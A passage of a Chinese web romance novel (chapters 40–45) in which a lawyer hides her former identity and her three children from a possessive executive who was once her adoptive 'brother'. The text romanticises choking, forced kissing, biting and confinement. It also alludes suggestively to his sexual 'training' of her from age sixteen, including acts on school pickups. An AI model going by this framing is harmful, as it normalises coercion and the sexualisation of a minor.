那她现在在哪儿? 乔眠使劲掐了一把胳膊,微微的刺痛,让她禁不住皱了皱眉。 不是梦。 呆愣了数秒后,脑海里映现出被霍宴北抵在电梯内,纠缠接吻的零碎画面。 之后发生了什么,她不记得了。 是霍宴北带她来这里? 这间卧室,也是他按照当年她住的那间卧室,一比一还原的? 想及此,乔眠第一反应就是掀开被子,查看身体有没有异样。 可是,当她掀开被子,看到身上穿着一件白色连衣裙时,惊惧的浑身血液都凝固了。 这件连衣裙,是她曾经在霍家时,霍宴北买给她的。 时隔六年,居然又穿在了身上…… 肯定是霍宴北! 乔眠手脚慌乱的从床上下来。 身体有些无力,头重脚轻的像踩着棉花。 她扶着墙壁,走出卧室,看到客厅沙发上躺着的霍宴北时,心脏猛地一跳。 果然是他。 此时,他穿着一件藏青色睡袍,侧躺在沙发上,还在睡觉。 第40章 他疯了,把她曾经用过的东西都收藏起来了 个头过于高的缘故,一双腿搭垂在沙发扶手下。 即便闭着眼睛,亦是皱着眉。 生人勿近的气场犹在。 乔眠步子放得很轻,准备返回卧室,换回自己的衣服溜走。 但是,刚迈出一步,手腕就被一只大手紧紧圈住。 乔眠扭头一看。 沙发上的男人不知何时已经睁开了眼睛。 眉眼间隐露一丝疲惫,眼神晦暗地盯着她。 乔眠垂眸,视线正好落在他手腕上那串桃核红绳手链上。 电梯里被他强吻的画面,一帧一帧钻进脑海里。 她羞恼的挣开他的手,“霍总,您趁人之危,在电梯里对我无礼冒犯,太过分了。” “趁人之危?” 霍宴北起身,附下身体,凝视着她气得绯红的小脸,“阿妩,如果我真的趁人之危的话,在你昏过去的这段时间,早把你做死了。” 若不是刚才用手解决了一次,他真的会熬不住冲进她的身体。 可是,跟她躺在一张床上,他的身体又难以自控,所以,才睡到了客厅。 “你……” 听到他霸道又露骨的话,乔眠脸上的红晕直接蔓延到了脖子根,极力否认:“霍总,我不是阿妩。” 霍宴北却不相信,抬手,揉了揉她的脑袋后,一把将她拥入怀中,“阿妩,六年过去了,你为什么变得不乖了……” “我不是阿妩……霍总,您认错人了。” 乔眠呼吸凌乱的推开他。 然后,指着身上宽大到挂不住肩的连衣裙,故作不知道裙子是谁的样子,“这件衣服不适合我,我现在换下还给您,时间不早了,我要回家。” 说罢,跑进了卧室。 把门反锁了。 可是,刚要脱掉连衣裙时,门把手转了一下,紧接着,门从外面打开了。 乔眠快速将裙子整理好,瞪着他,“霍总,您这样硬闯进来,太不礼貌了。” “这是我家。” 说到这里,他走到她身前,搂住她的肩膀,指了指卧室,“阿妩,还记得吗?这是你以前住的卧室,哥哥把你之前用过的所有东西都搬过来了……这也是我们的家。” “我不认识这里……霍总,您真的认错人了。” 乔眠挣开他的怀抱,却又被他强行拉到衣柜前。 他打开衣柜,指着里面挂着的一整排衣服说:“阿妩,这些都是你以前穿过的衣服……” 说到这里,他顿了一下,在她耳边轻喃,“还有你用过的那些玩具。” “……” 乔眠震惊的瞪大眼睛。 衣柜里不仅仅挂满了她以前在霍家时,一年四季穿过的衣服。 还有文胸、内裤丝袜。 以及各种款式风格的情趣制服。 连头绳、发箍都保留着。 她甚至看到了收纳在一个盒子里的……成人用品。 那些都是霍宴北以前买给她的。 他性欲旺盛,总是喜欢尝试新鲜刺激。 那时候,她年龄小,懵懂无知,情事上,都是霍宴北一点点调教出来的。 第一次看羞耻的小视频。 第一次用那些各式各样的成人用品。 第一次学着小视频里的招式,满足他…… 她所有的第一次,都是他引领着她,并亲自教学实践的…… 望着那些用具,乔眠脸红耳赤,羞耻的别开脸,咬牙讽刺了一句,“恕我冒昧,霍总一直把我错认成您妹妹阿妩,难道您跟您妹妹是那种关系?” “阿妩,别装。” 霍宴北修长的手指捏过她的小脸,让她看着他的眼睛,“你是我妹妹,也是我的……” 说到这里,他顿了一下,没有说下去。 乔眠凄弱的笑了一下:“是你的什么?” 他说的出口吗? 那时的她,只是他地下情人。 唯一公开的名分,就是他的妹妹。 “阿妩对您来说,究竟是什么样的存在呢?” 她像一个旁观者,问了一句。 霍宴北喉咙哽塞。 一时间沉默了。 是啊,阿妩对他而言,究竟是什么…… 除了妹妹以外,他从未给她定义过身份…… 他只是想要她陪着他,一辈子不离开他…… “阿妩是您的情人吗?” 乔眠替他说出了口。 下一瞬,男人粗粝的虎口,猛地扼制住了她纤细的脖颈。 “闭嘴!阿妩不是情人!” 冷不丁被掐住脖子,乔眠呼吸寸断,禁不住咳嗽了一声,“如果霍总真的认定我是您的妹妹阿妩,刚才吼我那句,就不会用‘她不是情人’,而是会用‘你不是情人’,不是吗?” 说到这里,她伸手指了指自己微张的嘴,“霍总,抱歉,刚才是我失言,但请您清醒一点,我上次就提醒过您了,您妹妹是听障人士,而我不是。这么明显区别,您却非得认定我是她,不觉得很牵强吗?” 霍宴北神情一怔,松了手。 瞥见她白皙的脖颈上深深的指痕时,他眼底闪过一丝愧疚,“你真的不是阿妩吗?可是……” “霍先生。” 乔眠打断他,抚了下被他攥痛的脖颈,“这世上长得相像的人很多,有共同特点的人也不少,霍总,何必强行把我一个毫不相干的人,跟您的妹妹扯上关系呢?” 她不能再跟他硬碰硬刺激他,只得耐心冷静的跟他解释。 可是,他却丝毫听不进去,“一个人不可能和另一个人有那么多共同点,阿妩有黑暗幽闭恐惧症,你也有,这又是巧合吗?” 听到他提黑暗幽闭恐惧症,乔眠一瞬间明白了什么,“电梯事故,是你故意在试探我?” 霍宴北抿紧薄唇,“我只是想求证……” “霍总!” 乔眠真的恼了,红着眼睛瞪他,“我真庆幸,我不是你的妹妹阿妩,如果她还活着,我相信她也不会跟你这种轻易拿别人的身体开玩笑的疯子在一起的!” 说完,她推开他,转身,抱起床头柜上自己的衣服,冲到了洗手间。 望着镜子里早已泪流满面的自己,使劲往脸上掬了几捧凉水。 可还是控制不住的往下掉眼泪。 “疯子!” 她咬着牙,缓缓蹲在地上,脸颊埋进膝盖上,委屈又怨恨的低声抽噎着。 他真是一点儿都没有变,只顾自己,从来不考虑别人的感受。 第41章 被困在他怀里 回顾过往。 她爱他,爱到心甘情愿的看着他与宋家联姻,直至他和宋蔓订婚。 他曾说过,哪怕他订婚、结婚,也要她陪在他身边一辈子。 他只希望她听话,按照他的要求去做。 若非后来那场大火,他就是要让她做他一辈子的地下情人。 她十六岁跟着他,不在乎名分,只在乎他爱不爱她。 可是,最终却换来他说的四个字:怪膈应的。 她不过是他的玩物罢了。 她走了,他就和宋蔓隐婚生子了,现在又要寻她。 真是可笑! 乔眠蹲在地上默默流了一会儿眼泪,起来时,脑袋晕的差点没站稳。 又洗了一把脸后,将自己的衣服换上,把那件白色连衣裙叠好放在洗手台上。 出去时,没看到霍宴北,她直接拿起搁在客厅的包跑了。 出门后,才发现这栋园子非常大。 像古装电视剧里的深宅庭院。 穿过廊庭花园,假山鱼池,拱门石桥,整整在里面晃了十多分钟,才寻到大门口。 走出去一看,直接傻眼了。 这栋宅院建在半山腰。 昏黄的路灯下,依稀能看见不远处有一颗大树。 再然后,就是绵延不绝的盘山公路。 这地方不可能有出租车。 她打开手机,看时间,已经凌晨一点。 一阵山风刮过来,穿透衣服侵入肌肤,刺骨的寒冷。 乔眠打了一个寒颤,裹紧外套,点开App叫网约车。 可是,即便追加小费,等了好一会儿,也没有司机接单。 就在她放弃,沿着公路往下走时,一辆劳斯莱斯停在身侧。 后车窗落下,露出霍宴北深邃冷艳的面孔。 他一只胳膊搭在车窗外,指间夹着一支点燃的烟,弹了弹烟灰后,转头,眼神复杂的瞅了她一眼,“上车。” 乔眠往后退了一步,撒谎:“不用麻烦霍总,我叫网约车了。” 听到这个拙劣的谎言,男人蹙眉,“要我抱你上来?” “我……” 一个字刚从唇齿间溢出去,男人打开后车门,身高腿长的下来了。 乔眠吓得又旁边躲了躲。 她避他如蛇蝎的模样,让霍宴北心里很不爽,怕吓到她,极力隐忍着脾气,没有强行抱她上车。 他脱掉身上的羊绒大衣,整儿个罩在她肩上,帮她拢紧衣领后,单手抄袋,靠在车门上。 指间的烟星火明灭,隔着被风吹散的薄薄烟雾,男人静静地看着她:“别任性,大半夜你一个人回去不安全,我等你坐上网约车再走。” “……” 感受着的羊绒大衣传入皮肤的灼热体温,乔眠没有固执。 看了一眼手机,依旧没有司机接单。 再等下去,说不定就得等天亮了。 况且,他把大衣给她了,此时,他上身是一件黑色薄毛衣。 初冬的山夜,比市区冷上许多。 他再吹一会儿寒风,必得感冒发烧。 到时候,他又有理由找茬了。 他很专制,她若是不上车,他怕是能站到天亮。 乔眠用力咬了下唇,绕过他,走到另一边,硬着头皮拽开车门上车了。 车内开着空调,前面有一道隔板,将车厢隔出来了一个独立的密闭空间。 即便顶灯够亮,可她依旧有些心慌,紧紧缩在车窗的位置坐着。 霍宴北看到她坐的老远,和他隔出一大段距离,不由得蹙眉看她一眼。 感受到他的目光,乔眠攥了攥手指,又往里缩了缩。 劳斯莱斯驶离后,霍宴北忽然伸手,攥住她纤细的手腕,将她整个人拖到了面前,“乔眠,尽管你不承认,但是,你带给我的熟悉感,你就是我的妹妹阿妩。” 乔眠被这一拽,整个人撞进了霍宴北怀里。 柔软的身体,隔着衣料,紧紧贴着男人宽厚坚实的胸膛。 上半身趴在他腿上,仰着小脸,像一个待人采摘的水蜜桃。 男人眼眸深谙地盯着她,喉结滚动了一下。 这个姿势,让他不禁想起以前,有时候去学校接阿妩回来的路上,他哄着阿妩,服务他的一幕幕。 想及此,嗓子干哑的说不出话来。 他伸手拖住她后脑勺,想吻她,想疯了。 车厢内,氛围一下变得很暧昧。 乔眠心神慌乱。 男人那双盯着她,仿佛能灼烫人心的眼眸,欲到让人骨头发软。 乔眠没有刻意去看,却也无法忽略掉男人西裤褶皱下的澎湃。 那些以前在车里,怎样于他身下轻颤的画面,一股脑钻进来。 乔眠别过脸,“霍总,我真的不是你的妹妹阿妩……” 好像除了这句没什么说服力的否认,也说不出别的话了。 “阿妩,你在怪我,所以不肯认我是吗?” 霍宴北用力一拉,将她整个人提起来,让她坐在他腿上。 一只手搂住她的腰,另一只手捏住她的小脸,问。 这个姿势,仅隔着布料,让她更能清晰的感受到源自于男人身体的热度和血脉喷张的力量感。 她怕极了。 试图挣开他的手,却被攥的更紧。 好像她不承认自己是阿妩,就不会放过她。 捏着她小脸的修长手指,他快要将她的脸颊捏碎了。 在乔眠任凭怎么都挣扎不开时,抖着胆子,做了一件不过脑子的事情。 她忽然低头,像一只发了狂的小兽,一口咬住死死握住她手腕的那只大手。 尖尖细牙,咬进霍宴北的手腕。 发了狠劲,又凶又重。 甚至尝到了鲜血的甜腥味。 “嘶——” 头顶传来一道男人低沉的闷哼声。 被攥疼的手腕这才得以解脱。 霍宴北盯着手腕上那道渗血的齿痕,蹙了蹙眉,沉冷的眼神扫向她:“你属狗的?” 这个女人居然敢咬他! 这一点,跟阿妩不像。 阿妩以前很乖…… 乔眠也没想到居然会咬了他一口! 还咬出了血。 她心里很慌。 心脏狂跳的快要从胸腔里蹦出来了。 慌张从他怀里挣扎出去。 紧接着,却看到男人忽然弯了一下腰,发出一声比刚才还要沉闷的哼声。 乔眠这才反应过来,自己又干了一件要命的事。 手指不由地蜷曲起来,掌心还残留着那股热度。 第42章 霍宴北确定她就是阿妩 意识到刚才碰到了什么,她的脸刷一下红透。 刚才,起身时,不小心按在了男人腰腹下的敏感地带…… 乔眠一点点缩回靠窗的位置。 一只手紧紧握着门把手,恨不得跳车。 霍宴北咬紧后牙槽,??过几秒难忍的痛意后,猛地抬眸,目光冰冷的凝着乔眠,“咬不死我,就弄死我?” 乔眠摇头,“抱歉,霍总,是我不小心……” 男人指着手腕上的血齿印,“这也是不小心?” 乔眠咬了一下唇,见伤口很深,很后悔刚才的冲动。 得罪霍宴北,哪怕是女人,他也不会有半分怜悯。 就在她思索,他会不会发火把她丢下车时,男人一本正经的声音传来:“根据《刑法》第二百三十四条规定:故意伤害他人身体的,处三年以下有期徒刑、拘役或者管制。” 乔眠还未反应过来,他继续道,“被你咬伤,如果报警的话,你猜,你进去的概率有多大?” 乔眠唇角狠狠一抽。 真是奶大了徒弟整死师傅。 当年,她那些法律课本,他倒是背的滚瓜烂熟。 她小脸涨得通红,用手语直接跟他争论起来。 【故意伤害罪的成立条件是造成轻伤以上的伤害结果,轻微伤的伤情程度未达到刑事立案标准。” 她熟练的手语动作,以及对法律知识的熟知程度,让霍宴北幽暗的眸底微微一亮。 “虽然不构成犯罪,但轻微伤仍属于违法行为,行为人需承担相应的行政责任和民事赔偿责任。” 说到这里,男人将手腕上的伤口往乔眠眼前抬了抬,“阿妩,告诉哥哥,你是想承担行政责任,还是走民事赔偿?” “我不是阿妩。” 乔眠再次重申:“你的伤口顶多是轻微伤。” 见她一脸坚定,不承认自己是阿妩,霍宴北恍惚了一下,说:“轻微伤,就不犯法吗?” “霍总,我刚才被你强行拉住不放,我属于自卫。” “嗯,谁看见了?” “……” 乔眠死死咬着泛白的唇,气得眼圈泛红。 他要是耍混账报警,虽然结果未必会怎样糟糕,但是,至少4时就得耗在派出所。 乔眠想了想,皱眉:“有医药箱吗?我帮你处理伤口,可以吧?” 霍宴北不依不饶:“被人咬出血,比动物咬伤更严重,人的口腔中有700多种细菌,一旦感染,可能会面临截肢的风险。” “那就请霍总去医院打疫苗,医疗费我出。” 霍宴北看着她生气时,脸颊绯红,眼神幽怨的模样,却有一种莫名的愉悦感。 她倔强跟他顶嘴争论时的模样,确实不像阿妩。 这一刻,他甚至怀疑自己是不是真的认错人了? 可是,瞥见女人眼底微微闪动着的水光时,心里却又蓦地一刺。 他快把她气哭了。 乔眠忍着怒火,拉开隔板,冲着司机说:“停车,去医院。” 陈珂问:“霍总,去吗?” 霍宴北声音冷峻:“不去。” 乔眠瞪向霍宴北:“霍总,您身娇体贵的,不应该去医院打疫苗吗?万一被我咬……唔。” 小手忽然被攥住。 紧接着,头顶的阴影倾轧下来。 男人滚热的唇,烫落在乔眠的脖颈上。 不,是咬。 乔眠震惊的瞪大眼睛。 浑身僵硬的像一块木头。 直到撕裂般的疼痛刺激着感官神经,乔眠疼出了眼泪。 因为太疼,嘴里禁不住溢出一声,“疼……” 听到这个字,男人从她颈窝抬起头来,抬手,拭掉唇上沾着的一丝血迹,眼神里充满戏谑:“扯平了。” 乔眠捂住被咬出血的脖颈,羞恼不已:“混蛋!” 她从未这么生气过。 生气到想打人的程度。 这六年,她被生活所累,为了挣钱,没少受人冷眼和委屈。 养就了隐忍淡泊的性子。 甚至忘记了,她也是人,也是有脾气的。 “疼吗?” 霍宴北盯着女人雪白脖颈上,渗血的齿痕,有一种想狠狠征服她的冲劲。 他喜欢以前温顺很乖的阿妩。 乔眠没理他。 男人伸手,动作轻柔地拨开她脖颈上黏着的几缕假发,想察看她的伤口。 此时的乔眠就像一只应激的猫,很排斥他的碰触,心下一慌,推开他的手,“不疼。” 男人怪异的眼神看着她:“你有口吃的问题?” 不止一次听到她说话结巴。 起初,他以为,她是紧张的。 但这几次接触下来,他发现,她应该是有这个问题。 乔眠忍着再咬他一口的冲动,瞪了他一眼,转头,看向窗外。 再也不想跟他说一句话。 她该怎么解释,他就是她结巴的那个祸端。 见她沉默,霍宴北望着车窗上映现出女人轮廓柔美的侧颜,眼眸逐渐变得幽深起来。 唇齿间,还残存女人肌肤上那股淡淡的甜香。 他有些后悔对她下狠劲了。 他就是想让她像以前的阿妩一样乖。 而不是,动不动像一只应激的小野猫,会挠人。 一时间,车厢内陷入诡异的安静。 良久,两人没再有任何交流。 仿佛刚才肌肤相亲的暧昧没有发生过。 直到陈珂将车停下来,小声提醒道:“乔律师,到了。” 说罢,脑袋探出窗外扫了一圈:“这里不是居民区,地址对吗?” 乔眠点了点头。 上车时,她给陈珂报了地址。 但又不想霍宴北知道她具体住在哪儿,所以说的地址是她所住的那条弄堂附近。 乔眠握住门把手,正欲下车时,闭目养神的男人睁开眼睛,问:“乔眠,这世上没有那么多巧合,你带给我的熟悉感,让我觉得你就是阿妩。” 乔眠后背蓦地绷紧,转过身来看着他:“您妹妹能听见别人说话吗?能开口说话吗?霍总,您让我解释多少遍,我真的不是你妹妹。” 霍宴北见她态度坚定,理直气壮的好像一点都不心虚的样子,皱眉说道,“这也是困扰我的问题,我早晚查清楚的,直至证明你不是阿妩为止。” 末了,他又问了一句,“我看过你的资料,你是自考大学毕业,之前是没有考上正规大学吗?” 乔眠咬着唇瓣。 他不知道,大学,于乔眠而言,是最不愿提及的敏感话题。 第43章 知道她有了孩子 乔眠咬着唇瓣。 他不知道,大学,于乔眠而言,是最不愿提及的敏感话题。 她也是京大的。 没能毕业。 是因为他霍宴北。 当年,其实,比起霍宴北把她丢弃在火场,选择救走他的白月光宋蔓,更让她寒心的是,她死里逃生后回过一次学校。 却得知,她的身份信息已经被注销了。 霍宴北办理了她的死亡证明。 短短不足七天。 他竟是那么迫不及待…… 想到这些,一股钻心噬骨的痛,撕扯着她的心。 望着霍宴北的眼神里弥漫着一丝怨气。 “我高考失利,没有考上好大学,所以,才上了南大自考法学专业,不像您,可是国府名校京大毕业的高材生……】 这句话撂出去后,乔眠就后悔了。 她不该被情绪牵引,失了冷静,说错了话。 果然,霍宴北打开车门下来了。 他靠着车门,长身玉立,双腿闲散交叠,气质清冷矜贵。 从口袋掏出一根烟,低头,拢着打火机,挡着些许风点燃后,放进嘴里深深吸了一口。 烟雾袅袅散开,呛得乔眠咳嗽了两声。 她掩着鼻,后退两步,男人漫不经心地嗓音传来,“你对我很了解?连我上什么大学都知道。” 乔眠:“霍总这样尊贵的身份,在网上随便一搜,就能搜到各种信息。” “哦?” 男人夹着香烟的手指,捏了捏眉心:“看来你很关注我,对我做过不少功课?” “……” 他话中有话。 但是,乔眠有些听不懂他的意思。 也不想懂。 “霍总,谢谢您送我回来,太晚了,我要回去了。” 她再也不想多跟他待一刻钟,抬步就走时,男人又问了一句,“乔眠,你生过孩子?” 他没忘记,萧时说过的话。 乔眠脸色瞬间白了白。 难道他已经查到孩子身上了? 她紧紧掐着手心,极力让自己震静下来。 与其撒谎,免得以后被他抓住漏洞,不如承认。 好在,他现在也只查到她生过孩子而已。 “是,我是有孩子,霍总,这并不影响工作吧?” “你的资料显示未婚。” 霍宴北将剩余的小半根烟扔在地上,锃亮昂贵的皮鞋踩熄后,逼近她一步,“未婚先孕,跟你你男朋友生的?” 【是。】 她果断承认。 说完,乔眠不想再跟他聊下去,转身快步走了。 望着女人走进一条漆黑的弄堂,霍宴北脸色沉的比夜色还要寒冷。 他靠着劳斯莱斯,扫视了一圈周边环境。 四周是老破旧的自建楼。 这条街挨着一个菜市场,路边地上堆着还未清理完的垃圾。 空气中弥漫着腐烂的腥臭味。 她那废物男朋友居然让她住在这种地方…… 男人蹙了蹙眉,靠在车上又抽了一根烟后,上了车。 劳斯莱斯驶离城中村后,陈珂这才将一份资料递过来:“霍总,这是乔律师以前在沪城福利院的所有信息资料……” 霍宴北接过来,仔细翻看了一遍后,攥着资料的手隐隐发颤。 资料里显示,乔眠确实是沪城福利院的孤儿。 还附带了几张她和院长的合影,以及她前些年在沪城,在福利院做志愿者的一些照片。 乔眠没有说谎…… 难道她真的不是阿妩? 他把那叠资料甩在旁边的空位上,嗓音沙哑的问,“确定查彻底了吗?” 陈珂回道,“是的,院长亲口说的,乔眠从小在沪城的福利院长大,手语,就是跟院长学的,因为福利院里有不少孩子是听障人士,这一点,错不了。” 霍宴北无力的靠回座椅背。 如果乔眠是沪城福利院长大的话,就不可能是阿妩…… 因为,阿妩的老家是京市周边的嘉县。 信息根本对不上。 “乔眠自考上的那所大学查了吗?” “已经查证过,乔律师是沪城南大自考毕业的,三年前拿到的律师资格证书。”霍宴北烦躁的扯开了衣领,摁了摁胀痛的太阳穴。 所以,是他真的认错人了? 可是,乔眠和阿妩明明有这么多共同点…… 这世上哪有这么多巧合? 陈珂见霍总脸色沉郁,知道这个调查结果,霍总肯定失望了。 尽管可能被骂,但还是忍不住劝道,“霍总,虽然乔律师长得像霍妩小姐,但是,她不可能是霍妩小姐,毕竟霍妩小姐是听障人士……” 霍宴北掀起沉重泛红的眼皮,眸底充斥着红血丝,“阿妩以前说过,她并非先天聋哑,或许,这些年,她的聋哑问题治好了,又能开口说话了……” 这不是不可能。 这也是,他之前没有用聋哑这个问题作为验证乔眠和阿妩是不是一个人的标准。 他只相信感觉。 抱着乔眠的感觉,吻着她的感觉,这些熟悉的感觉,真的像极了阿妩。 可是—— 查出来的这些资料,证实了他之前的感觉是错误的。 像一个响亮的巴掌,把他彻底打醒了。 乔眠真的不是阿妩…… 他的阿妩真的死了…… 他寻了六年,好不容易以为找到了阿妩,在他距离真相最近的时候,却被一拳打回了起点。 他一时间接受不了。 陈珂叹了一声,“霍总,乔律师如果真的霍妩小姐的话,一定会跟您相认的,是不会躲着您的,不是吗?” 霍宴北粗粝的手指刮过座位上,挂着小白兔挂件的女士包,自言自语道,“阿妩即便还活在这个世上,或许也不会想见我了……” 是他把她丢在了火场里…… 如果阿妩真的死了,他就是害死她的人。 可是,他宁愿她活在这个世上,给他一个赎罪的机会…… 长时间的沉默后,陈珂换了个话题,“您今晚还回帝景别墅吗?” 霍宴北正欲开口时,手机响了。 打开一看,是一条微信。 宋蔓发来的一条语音消息。 他点了转文字。 【宴北,已经半夜了,你还在公司加班吗?我在家等你,别忘了,我们答应念念的,明天一起去海洋馆的。】 看完消息后,霍宴北面无表情的收起手机,吩咐陈珂,“回帝景别墅。” “是。” 第44章 六年前就和他没有关系了 乔眠一进屋,就看到茶几上堆满了吃的。 阮薇穿着她的睡衣,窝在沙发里,正在吃薯片刷短剧。 看到她回来后,从沙发上下来,打了一个哈欠,“眠眠,你那老板是黄世仁吗?加班这么晚才回来?” 乔眠笑了笑,“你一个月工资也不多,怎么又乱花钱给孩子们买这么多吃的?” 阮薇笑着说:“我是孩子们的干妈,给孩子们买点零食不是应该的吗?再说,我可太喜欢三个小宝了。” 乔眠莞尔,走进厨房,打开冰箱一看。 果然,里面塞满了瓜果菜品,还有肉。 这下来,少说也得大几百 “以后来,别买这么多东西,给自己省点钱。” 阮薇每次来,恨不得把超市的好吃的都搬来。 她怪不好意思的。 明明阮薇节俭的连新衣服都舍不得买。 况且,她母亲孤儿院那边有时候也得补贴。 这时,阮薇见她从冰箱拿了两个鸡蛋和挂面,“你还没吃饭啊?” 乔眠点头。 “怎么不早说?” 阮薇把她从厨房推出去,“你都加班工作了一晚上,我来做,你出去等着。” 乔眠拧不过她,只好出了厨房。 去儿童房看了一眼。 孩子们一个个睡得正香。 就是乔慕心睡觉爱踢被。 这会儿,身上的被子快掀到地上了。 给她重新盖好被子后,坐在床前,望着三张软乎乎的小脸,她心里不禁担忧起来。 乔慕心长得像自己。 可是,慕城和慕野的脸,眉宇间已经有几分像霍宴北了。 如果哪天被霍宴北看到孩子们的话,也不知道会不会生疑。 她现在真的后悔搬回京市。 哪怕丢掉工作,也比现在霍宴北的眼皮底下,时不时被他试探、猜疑强。 唉。 她回卧室换了一身睡衣,出来时,阮薇端着一碗热汤面从厨房出来,招呼她吃饭。 在小餐厅坐下后,乔眠拿起筷子,吃了一口,特别满足的嗯了一声。 “阿薇姐,已经大半夜了,等会儿,你别走了,跟我挤一张床吧。” “行啊,反正明天周六,我又没有课。” 阮薇笑了笑,顺嘴聊了一些学校里的事情。 听到说学校里居然有孩子遭受霸凌欺负时,乔眠动作微微一颤。 低着头,快速拨动筷子,机械性的往嘴里扒了几口。 吃的很急。 呛得眼眶生疼。 阮薇拍了拍她的后背,“怎么了?慢点吃。” 乔眠摇摇头。 阮薇却忽然意识到什么,握了握她的手,“眠眠,你是不是现在只要想起高中时被欺负的事情,还会有应激反应啊。” “有点。” 这么多年过去了,每次想起高中时的黑暗时刻,就会有点应激。 她以前的事情,阮薇都知道。 所以,阮薇见她这样,带着怨气道,“那个宋蔓,还国民女神、小仙女呢?要是让别人知道她上学时,是怎样霸凌同学的嘴脸的话,她立的人设肯定塌得彻底。” 说到这里,更是咬牙切齿的哼了一声,“我看就是霍宴北眼睛瞎了才跟她隐婚生……” 话到一半,忽然意识到自己说漏嘴了,紧忙捂嘴。 乔眠淡然笑笑,“他隐婚生子的新闻挂在热搜好几天了,我就是不想看,也不行啊。” 阮薇叹了一声,“眠眠,对不起,我不是故意瞒你的,我是怕你伤心。 其实,一年前,我来京市,就听说霍宴北和宋蔓隐婚了……还有了孩子。” 乔眠安静地吃着面,沉默了数秒后,冲着她莞尔,“他结婚生子挺好的,我和他早在六年前就已经没有任何关系了。” “你能放下就好,以后我们带着三个小宝,安静地过好自己的日子就行。” 乔眠放下筷子,叹了一声,“怕是以后安静不了了。” “怎么了?” 乔眠把和霍宴北重逢以后,发生的所有事情一股脑告诉了她。 阮薇听后,整个人都裂开了。 “你在手底下工作?不行,你得离开,要不然早晚会暴露的。” “我也想离开。” 乔眠苦笑,“我的劳务合同在荣华,现在律所和霍氏合作,还有半年多才到期,现在离职需要赔付违约金的。” 阮薇拿起手机:“违约金多吗?我想办法给你凑凑。” 乔眠抿唇:“年薪的六倍,六十多万。” “……” 阮薇吓得小手一颤,手机掉在了餐桌上。 乔眠伸手,握了握她的手,“阿薇姐,你帮不了我的,不过,你别担心,最多撑半年,合约到期,我就辞职走人。” 阮薇叹了一声,“好吧。” 饭后,乔眠洗完碗,回到卧室时,阮薇已经躺在床上睡着了。 想到床小,她重新拿了一条被子,去了客厅沙发上躺下。 准备找手机充电时,却后知后觉的发现,包不见了。 瞥见挂在玄关处的一件男士外套后,才猛然想起,包落在了霍宴北的车上。 手机就在包里…… 乔眠狠狠拍了拍脑袋。 懊恼自己的粗心大意。 包不值钱,包里面也没什么重要的东西。 关键是,手机很重要。 这会儿再着急,也得等明天去找他拿包。 只要想到霍宴北,她心里就很排斥…… 本来折腾了半宿,应该很困的,这会儿躺回床上,就像临刑前的最后一夜,彻底没了睡意。 天快亮时,才睡着。 这一觉醒来,已经九点了。来到客厅,看到孩子们已经起床洗漱。 阮薇正在厨房张罗早餐。 乔眠把包落在霍宴北车上一事说了。 阮薇无奈的戳了一下她的额头,“你也忒不小心了,赶紧联系他把包要回来,这要是等到周一,万一他一抽疯私自看你的手机怎么办?” 她这一提醒,乔眠心里有些慌了。 然而,阮薇下面说的话,让她更慌了。 “对了,早上我妈打电话说,前两天,有人去孤儿院打听你的消息。” 乔眠皱眉,“肯定是霍宴北的人。” “我觉得也是,不过,他查到的,也是我们早就准备好的资料。” 乔眠松了一口气,“但愿这次能够打消他对我的怀疑。” 想到昨夜,他对她的那种强势霸道,她就不寒而栗。 第45章 他陪老婆孩子没空理她 吃饭时,乔慕城伸手戳了戳她的脸颊,“乔眠女士,你是一夜没睡吗?你的黑眼圈都可以跟熊猫比美了。” 乔眠捏了捏儿子肉乎乎的小脸,叹了一声。 大宝这张小嘴,可真不温柔。 还是乔慕野暖心,“妈妈,你如果没睡好的话,你在家再睡一会儿吧。” 乔慕心从椅子上下来,爬进她怀里撒娇,“妈妈,心心陪你一起睡觉觉,好不好?” 阮薇在一旁艳羡的咂嘴,“瞧瞧,孩子们多乖啊。” 看着孩子们这么懂事,乔眠禁不住笑了笑。 饭后,阮薇带着孩子们小楼玩去了。 出门时,跟她眨眼睛,让她趁着这会儿功夫去取包。 乔眠换了一身衣服。 照镜子时,看到黑眼圈确实很重,脸色很苍白,气色也不怎么好。 于是,费了一番功夫,化了一个淡妆。 出门时,从抽屉里翻出之前给孩子买的那只二手手机。 因为不确定霍宴北今天有没有时间,所以,出门前,给他打了一个电话。 只是,那边迟迟无人接听。 打第二遍时,那边才接听。 “哪位。” 男人语气低沉,带着初醒时分的朦胧暗哑。 还有一丝不耐烦。 应该是熟睡中,被吵醒了。 虽然只是打电话,但乔眠已经有些紧张的心口发闷。 霍宴北有很严重的起床气。 她能想象到,此时,他被吵醒,沉着一张脸的样子。 肯定很吓人。 “说话。” 迟迟没听到说话,对方语气很差的问了一句。 乔眠深吸了口气,故作镇静地开口:“霍总,我是乔眠。” 那边。 霍宴北在听到自报姓名的乔眠时,怔了一瞬后,从床上坐了起来。 顿了两秒后,他翻身下床,穿上拖鞋,走到落地窗前,神情透着一丝疲惫,摁着眉心,冷声问,“有事?” “霍总,我的包好像落在您车上了。” “嗯,在。” 他语气冷淡,言简意赅。 “那我……” 本想说去找他拿回包的,但是,话到嘴边儿,改了主意,“我叫个同城跑腿,去您那里取包,可以吗?” 末了,补了一句,“我付跑腿费,您只需帮……” 话还未说完,男人打断她:“今天没时间。” 乔眠知道他这个人,一旦决定的事情,没人能够动摇。 她只好妥协:“那明天呢?” 霍宴北垂眸,看了一眼手机时间,蹙眉道,“周一去我办公室取。” “好吧……” 刚说完,乔眠准备挂电话时,听到一个小女孩的娇柔的声音,“爸爸,你说好的带我玩哦。” 听到‘爸爸’两个字时,乔眠的心猛地一刺。 然后,没听到霍宴北说话时,宋蔓那道熟悉的声音也随之传来,“念念乖哦,别打扰爸爸打电话……” 剩余的话没听,乔眠匆匆挂了电话。 确实,周六周日,他要陪老婆孩子,自然没空为了她一个包耽误时间。 乔眠苦涩一笑,整理好情绪后,下楼去找阮薇和孩子们了。 …… 此时,孩子们正在附近一个小广场上玩。 阮薇得知她没拿到包,阮薇气得要死,张口就骂,“你叫跑腿去拿包,他还不答应?霍宴北分明是故意的!” 乔眠想到在电话里听到,他女儿唤她爸爸的声音时,凄冷一笑,“无所谓了,周一上班拿回来就行。” “只能这样了。” 阮薇忽然想到什么,挎住她的胳膊,招呼孩子们过来,“今天干妈带你们去海洋馆好不好?” 三个孩子跑过来,一个个眼睛亮晶晶的,纷纷举手要去。 乔眠拽了一下她的衣袖,“海洋馆门票很贵,我们……” 还未说完,阮薇从包里拿出五张门票,晃了晃,“景区做公益,给学校的孩子们送了很多门票,每个老师也有,我跟校长多申请了几张。” 乔眠接过门票,莞尔,“谢谢。” 